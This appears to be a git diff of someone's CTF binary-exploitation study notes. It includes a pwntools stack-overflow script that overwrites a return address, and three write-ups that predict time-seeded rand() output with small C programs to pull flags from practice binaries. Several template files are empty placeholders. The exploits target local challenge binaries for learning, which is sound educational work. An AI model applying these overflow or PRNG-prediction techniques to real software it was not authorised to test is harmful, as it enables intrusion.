$rdi : 0x00007ffff7faf680 → 0x0000000000000000
$rip : 0x00000000004006a3 → leave
$r8 : 0x00007fffffffe0b0 → "13371337"
$r9 : 0x0
$r10 : 0x6e
$r11 : 0x246
$r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe070│+0x0000: "0x40060d\n" ← $rsp
0x00007fffffffe078│+0x0008: 0x000000000000000a
0x00007fffffffe080│+0x0010: 0x0000000000000000
0x00007fffffffe088│+0x0018: 0x0000000000000000
0x00007fffffffe090│+0x0020: 0x0000000000000000
0x00007fffffffe098│+0x0028: 0x0000000000000000
0x00007fffffffe0a0│+0x0030: 0x0000000000000000
0x00007fffffffe0a8│+0x0038: 0x00000000000000c2
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400694 rex.RB ror BYTE PTR [r8-0x77], 0xc7
0x400699 mov eax, 0x0
0x40069e call 0x400500
→ 0x4006a3 leave
0x4006a4 ret
0x4006a5 nop WORD PTR cs:[rax+rax*1+0x0]
0x4006af nop
0x4006b0 <__libc_csu_init+0> push r15
0x4006b2 <__libc_csu_init+2> mov r15d, edi
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "warmup", stopped 0x4006a3 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a3 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
We gave it a simple pattern '13371337' so now we search for that pattern:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
0x6022a0 - 0x6022aa → "13371337\n"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
**0x7fffffffe0b0** - 0x7fffffffe0b8 → "13371337"
gef➤ i f
Stack level 0, frame at 0x7fffffffe100:
rip = 0x4006a3 in main; saved rip = 0x7ffff7e14d0a
Arglist at 0x7fffffffe0f0, args:
Locals at 0x7fffffffe0f0, Previous frame's sp is 0x7fffffffe100
Saved registers:
rbp at 0x7fffffffe0f0, rip at **0x7fffffffe0f8**
Now let's calculate the offset:
>>> hex(0x7fffffffe0f8 - 0x7fffffffe0b0)
'0x48'
So now we know that after 0x48 bytes of input, we start overwriting the return address, so we can write the following exploit:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ vim exploit.py
from pwn import *
target = process('./warmup')
# Make the payload
payload = b""
payload += b"0"*0x48 # Overflow the buffer up to the return address
payload += p64(0x40060d) # Overwrite the return address with the address of the `easy` function
# Send the payload
target.sendline(payload)
target.interactive()
Then run it:
[ 192.168.100.126/24 ] [ /dev/pts/3 ] [binexp/2/warmup]
→ python3 exploit.py
[+] Starting local process './warmup': pid 78458
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive
$ exit
[*] Process './warmup' stopped with exit code -11 (SIGSEGV) (pid 78458)
[*] Got EOF while sending in interactive
and we got the flag !
## Title
text
` ![]()
## Title
text
` ![]()

84
3/0.md Normal file
View file

@ -0,0 +1,84 @@
# Binary Exploitation
## Downloading the binary file
` ![]()
## Solution
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
## Title
text
` ![]()
## Title
text
` ![]()

BIN
3/0.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 75 KiB

BIN
3/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

BIN
3/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 81 KiB

219
3/h3.md Normal file
View file

@ -0,0 +1,219 @@
# h3 time
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/h3_time/time
--2021-03-07 12:51:05-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/h3_time/time
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/h3_time/time [following]
--2021-03-07 12:51:05-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/h3_time/time
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8864 (8.7K) [application/octet-stream]
Saving to: time
time 100%[================================================================>] 8.66K --.-KB/s in 0.006s
2021-03-07 12:51:06 (1.41 MB/s) - time saved [8864/8864]
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ file time
time: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4972fe3e2914c74bc97f0623f0c4643c40300dab, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ chmod +x time
` ![]()
## Solution
First let's take a look at the binary with pwn checksec as well as running it:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ pwn checksec time; ./time
[*] '/home/nothing/binexp/3/time/time'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a flag!
Enter your number: 1234
Your guess was 1234.
Looking for 34981616.
Sorry. Try again, wrong guess!
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ ./time
Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a flag!
Enter your number: 4321
Your guess was 4321.
Looking for 994945792.
Sorry. Try again, wrong guess!
So here we see that we have a 64bit binary. When we run it, it prompts us to guess a number. Let's check what ghidra finds on that binary:
undefined8 main(void)
{
time_t tVar1;
long in_FS_OFFSET;
uint local_18;
uint local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
tVar1 = time((time_t *)0x0);
srand((uint)tVar1);
local_14 = rand();
puts("Welcome to the number guessing game!");
puts("I\'m thinking of a number. Can you guess it?");
puts("Guess right and you get a flag!");
printf("Enter your number: ");
fflush(stdout);
__isoc99_scanf(&DAT;_00400bbc,&local;_18);
printf("Your guess was %u.\n",(ulong)local_18);
printf("Looking for %u.\n",(ulong)local_14);
fflush(stdout);
if (local_14 == local_18) {
puts("You won. Guess was right! Here\'s your flag:");
giveFlag();
}
else {
puts("Sorry. Try again, wrong guess!");
}
fflush(stdout);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Here we see something interesting, first of all the **rand** function which should give a random number, as well as the scanf call with the %u format string stored in local_18. Basically the main function creates a random number, then prompts us for some number to store into local_18, and then it checks if the 2 numbers are the same. If they are we enter the giveFlag function:
void giveFlag(void)
{
FILE *__stream;
long in_FS_OFFSET;
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
memset(local_118,0,0x100);
__stream = fopen("/home/h3/flag.txt","r");
if (__stream == (FILE *)0x0) {
puts("Flag file not found! Contact an H3 admin for assistance.");
}
else {
fgets(local_118,0x100,__stream);
fclose(__stream);
puts(local_118);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Here we see that this function reads and prints out the flag file from **/home/h3/flag.txt** What we need to figure out is what the output of the **rand** function will be. Thing is, the output of the ran dunction is not actually random. The output is based off a value called a 'seed' which it uses to determine what number sequence to generate. SO if we can get the same seed, we can get **rand** to generate the same sequence of numbers. Looking at the decompiled code, we see the following:
tVar1 = time((time_t *)0x0);
srand((uint)tVar1);
Here we see tVar1 gets the current time as a seed, therefore we can write a C program that uses the current time as a seed, and output a digit and redirect the output to the target:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ vim exploit.c
#include<****stdio.h>
#include <****time.h>
#include <****stdlib.h>
#include <****stdint.h>
#include <****string.h>
int main()
{
uint32_t rand_num;
srand(time(0)); //seed with current time
rand_num = rand();
uint32_t ans;
printf("%d\n", rand_num);
}
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ gcc exploit.c -o exploit
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ ./exploit
1779237112
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ ./exploit
1476399991
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/time]
→ ./exploit | ./time
Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a flag!
Enter your number: Your guess was 1333337650.
Looking for 1333337650.
You won. Guess was right! Here's your flag:
${g0tt3m_boyz}
And that's it ! We managed to print the flag.
## Title
text
` ![]()
## Title
text
` ![]()

301
3/prep.md Normal file
View file

@ -0,0 +1,301 @@
# Sunshine CTF 2017 Prepared
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/sunshinectf17_prepared/prepared
--2021-03-07 13:57:41-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/sunshinectf17_prepared/prepared
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/sunshinectf17_prepared/prepared [following]
--2021-03-07 13:57:41-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/sunshinectf17_prepared/prepared
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12888 (13K) [application/octet-stream]
Saving to: prepared
prepared 100%[================================================================>] 12.59K --.-KB/s in 0.001s
2021-03-07 13:57:42 (16.2 MB/s) - prepared saved [12888/12888]
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ file prepared
prepared: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9cd9483ed0e7707d3addd2de44da60d2575652fb, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ chmod +x prepared
` ![]()
## Solution
So let's first run pwn checksec on the binary before executing it to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ pwn checksec prepared
[*] '/home/nothing/binexp/3/prep/prepared'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ ./prepared
0 days without an incident.
123
Well that didn't take long.
You should have used 63.
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ ./prepared
0 days without an incident.
63
Well that didn't take long.
You should have used 67.
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ ./prepared
0 days without an incident.
67
Well that didn't take long.
You should have used 24.
Here we see that this is a 64 bit binary with everything enabled (full relro, canary, nx and pie). It prompts us for input to make us guess a random number, let's take a look at it in ghidra:
![](2.png)
And here we get the following code for the main function:
undefined8 main(void)
{
int iVar1;
time_t tVar2;
FILE *__stream;
char *pcVar3;
long in_FS_OFFSET;
uint local_464;
char local_448 [64];
char local_408 [512];
char local_208 [504];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
local_464 = 0;
while ((int)local_464 < 0x32) {
iVar1 = rand();
printf("%d days without an incident.\n",(ulong)local_464);
sprintf(local_208,"%d",(ulong)(uint)(iVar1 % 100));
__isoc99_scanf(" %10s",local_408);
strtok(local_408,"\n");
iVar1 = strcmp(local_208,local_408);
if (iVar1 != 0) {
puts("Well that didn\'t take long.");
printf("You should have used %s.\n",local_208);
/* WARNING: Subroutine does not return */
exit(0);
}
local_464 = local_464 + 1;
}
puts("How very unpredictable. Level Cleared");
__stream = fopen("flag.txt","r");
while( true ) {
pcVar3 = fgets(local_448,0x32,__stream);
if (pcVar3 == (char *)0x0) break;
printf("%s",local_448);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Just like in the previous 2 challenges, time is declared as a seed with the srand function, and then it uses **rand** to generate values that are modded by 100 (value%100), and we have to guess it in a loop 50 times, So in order to guess the rand number 50 times in a row, this is based off of the seed, and since the seed is simply the current time, we can write a simple C program to get the seed and generate the numbers it expects:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ vim exploit.c
****#include <****stdio.h>
#include <****stdlib.h>
#include <****time.h>
#include <****string.h>
int main(void)
{
int i, out;
time_t var0 = time(NULL);
srand(var0);
for (i = 0; i < 50; i++)
{
out = rand() % 100;
printf("%d\n", out);
}
return 0;
}
Here we compile it with gcc:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ gcc exploit.c -o exploit
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ ./exploit
83
93
92
55
70
63
4
64
54
21
87
42
77
17
74
86
57
18
72
7
52
76
46
78
81
83
19
55
20
14
21
55
59
13
10
81
76
67
46
83
88
33
77
17
2
3
4
59
21
28
Now let's pipe it into the stdin of our binary:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/prep]
→ ./exploit | ./prepared
0 days without an incident.
1 days without an incident.
2 days without an incident.
3 days without an incident.
4 days without an incident.
5 days without an incident.
6 days without an incident.
7 days without an incident.
8 days without an incident.
9 days without an incident.
10 days without an incident.
11 days without an incident.
12 days without an incident.
13 days without an incident.
14 days without an incident.
15 days without an incident.
16 days without an incident.
17 days without an incident.
18 days without an incident.
19 days without an incident.
20 days without an incident.
21 days without an incident.
22 days without an incident.
23 days without an incident.
24 days without an incident.
25 days without an incident.
26 days without an incident.
27 days without an incident.
28 days without an incident.
29 days without an incident.
30 days without an incident.
31 days without an incident.
32 days without an incident.
33 days without an incident.
34 days without an incident.
35 days without an incident.
36 days without an incident.
37 days without an incident.
38 days without an incident.
39 days without an incident.
40 days without an incident.
41 days without an incident.
42 days without an incident.
43 days without an incident.
44 days without an incident.
45 days without an incident.
46 days without an incident.
47 days without an incident.
48 days without an incident.
49 days without an incident.
How very unpredictable. Level Cleared
[1] 2904178 done ./exploit |
2904179 segmentation fault (core dumped) ./prepared
And that's it! we have been able to guess the random number 50 times.
## Title
text
` ![]()
## Title
text
` ![]()

278
3/tux.md Normal file
View file

@ -0,0 +1,278 @@
# hsctf 2019 tux talk show
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow
--2021-03-07 13:24:34-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow [following]
--2021-03-07 13:24:35-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/09-bad_seed/hsctf19_tuxtalkshow/tuxtalkshow
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21112 (21K) [application/octet-stream]
Saving to: tuxtalkshow
tuxtalkshow 100%[================================================================>] 20.62K --.-KB/s in 0.003s
2021-03-07 13:24:35 (5.81 MB/s) - tuxtalkshow saved [21112/21112]
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ file tuxtalkshow
tuxtalkshow: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8c0d2b94392e01fecb4b54999cc8afe6fa99653d, for GNU/Linux 3.2.0, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ chmod +x tuxtalkshow
` ![]()
## Solution
First let's run pwn checksec on the binary file before executing it to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ pwn checksec tuxtalkshow
[*] '/home/nothing/binexp/3/tux/tuxtalkshow'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ ./tuxtalkshow
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: 13371337
So here we have a 64bit binary with PIE enabled. When we run it it prompts us for a number. So let's check it out from inside of ghidra:
![](1.png)
And here we get a gigantic main function:
undefined8 main(void)
{
int iVar1;
time_t tVar2;
basic_ostream *pbVar3;
long in_FS_OFFSET;
int local_290;
int local_28c;
int local_288;
int local_284;
undefined4 local_280;
undefined4 local_27c;
undefined4 local_278;
undefined4 local_274;
undefined4 local_270;
undefined4 local_26c;
int local_268 [8];
basic_string local_248 [32];
basic_istream local_228 [520];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
std::basic_ifstream>::basic_ifstream((char *)local_228,0x1020b0);
tVar2 = time((time_t *)0x0);
srand((uint)tVar2);
/* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */
pbVar3 = std::operator<<((basic_ostream *)std::cout,"Welcome to Tux Talk Show 2019!!!");
std::basic_ostream>::operator<<
((basic_ostream> *)pbVar3,
std::endl>);
std::operator<<((basic_ostream *)std::cout,"Enter your lucky number: ");
std::basic_istream>::operator>>
((basic_istream> *)std::cin,&local;_290);
local_280 = 0x79;
local_27c = 0x12c97f;
local_278 = 0x135f0f8;
local_274 = 0x74acbc6;
local_270 = 0x56c614e;
local_26c = 0xffffffe2;
local_268[0] = 0x79;
local_268[1] = 0x12c97f;
local_268[2] = 0x135f0f8;
local_268[3] = 0x74acbc6;
local_268[4] = 0x56c614e;
local_268[5] = 0xffffffe2;
local_28c = 0;
while (local_28c < 6) {
iVar1 = rand();
local_268[local_28c] = local_268[local_28c] - (iVar1 % 10 + -1);
local_28c = local_28c + 1;
}
local_288 = 0;
local_284 = 0;
while (local_284 < 6) {
local_288 = local_288 + local_268[local_284];
local_284 = local_284 + 1;
}
if (local_288 == local_290) {
std::__cxx11::basic_string,std::allocator>::basic_string();
/* try { // try from 00101419 to 00101448 has its CatchHandler @ 0010147f */
std::operator>>(local_228,local_248);
pbVar3 = std::operator<<((basic_ostream *)std::cout,local_248);
std::basic_ostream>::operator<<
((basic_ostream> *)pbVar3,
std::endl>);
std::__cxx11::basic_string,std::allocator>::~basic_string
((basic_string,std::allocator> *)local_248);
}
std::basic_ifstream>::~basic_ifstream
((basic_ifstream> *)local_228);
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Here we cansee that it starts off by scanning the contents of flag.txt and saves it into **local_228**. Then it initialized an integer array with size entries, although the decompilation only shows 4. So let's look at the assembly code:
001012bc e8 8f fd CALL operator>> undefined operator>>(basic_istre
ff ff
} // end try from 0010127e to 001012c0
001012c1 c7 85 88 MOV dword ptr [RBP + local_280],0x79
fd ff ff
79 00 00 00
001012cb c7 85 8c MOV dword ptr [RBP + local_27c],0x12c97f
fd ff ff
7f c9 12 00
001012d5 c7 85 90 MOV dword ptr [RBP + local_278],0x135f0f8
fd ff ff
f8 f0 35 01
001012df c7 85 94 MOV dword ptr [RBP + local_274],0x74acbc6
fd ff ff
c6 cb 4a 07
001012e9 c7 85 98 MOV dword ptr [RBP + local_270],0x56c614e
fd ff ff
4e 61 6c 05
001012f3 c7 85 9c MOV dword ptr [RBP + local_26c],0xffffffe2
fd ff ff
e2 ff ff ff
We also see that it uses time as a seed. It performs an algorithm where it will generate random numbers by using time a sa seed to edit the values of array, and then it accumulate all of those values to end up with the number we are supposed to guess. Since the rand function is directly based off of the seed, and since the seed is the time, we know what the values the rand function will output, and thus end up with the following C program:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ vim exploit.c
****#include <****stdio.h>
#include <****stdlib.h>
#include <****stdint.h>
#include <****time.h>
int main()
{
int array[6];
int i, output;
uint32_t randVal, ans;
srand(time(0));
i = 0;
array[0] = 0x79;
array[1] = 0x12c97f;
array[2] = 0x135f0f8;
array[3] = 0x74acbc6;
array[4] = 0x56c614e;
array[5] = 0xffffffe2;
while (i < 6)
{
randVal = rand();
array[i] = array[i] - ((randVal % 10) - 1);
i += 1;
}
i = 0;
output = 0;
while (i < 6)
{
output = output + array[i];
i += 1;
}
printf("%d\n", output);
}
Then we compile our C code:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ gcc exploit.c -o exploit
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ ./exploit
let's try it on the binary file:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ ./exploit
234874834
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ ./exploit
234874839
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ ./exploit
234874828
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
→ ./exploit | ./tuxtalkshow
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: flag{g0tt3m_boyz}
And that's it ! We have been able to print out the flag.
## Title
text
` ![]()
## Title
text
` ![]()

145
Easy/0.md Normal file
View file

@ -0,0 +1,145 @@
# BOXNAME Writeup
![](img/0.png)
## Introduction :
Boxname is an easy box released back in MONTH YEAR.
## **Part 1 : Initial Enumeration**
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
## **Part 2 : Getting User Access**
## **Part 3 : Getting Root Access**
## **Conclusion**
Here we can see the progress graph :
![](img/1_graph.png)

Some files were not shown because too many files have changed in this diff Show more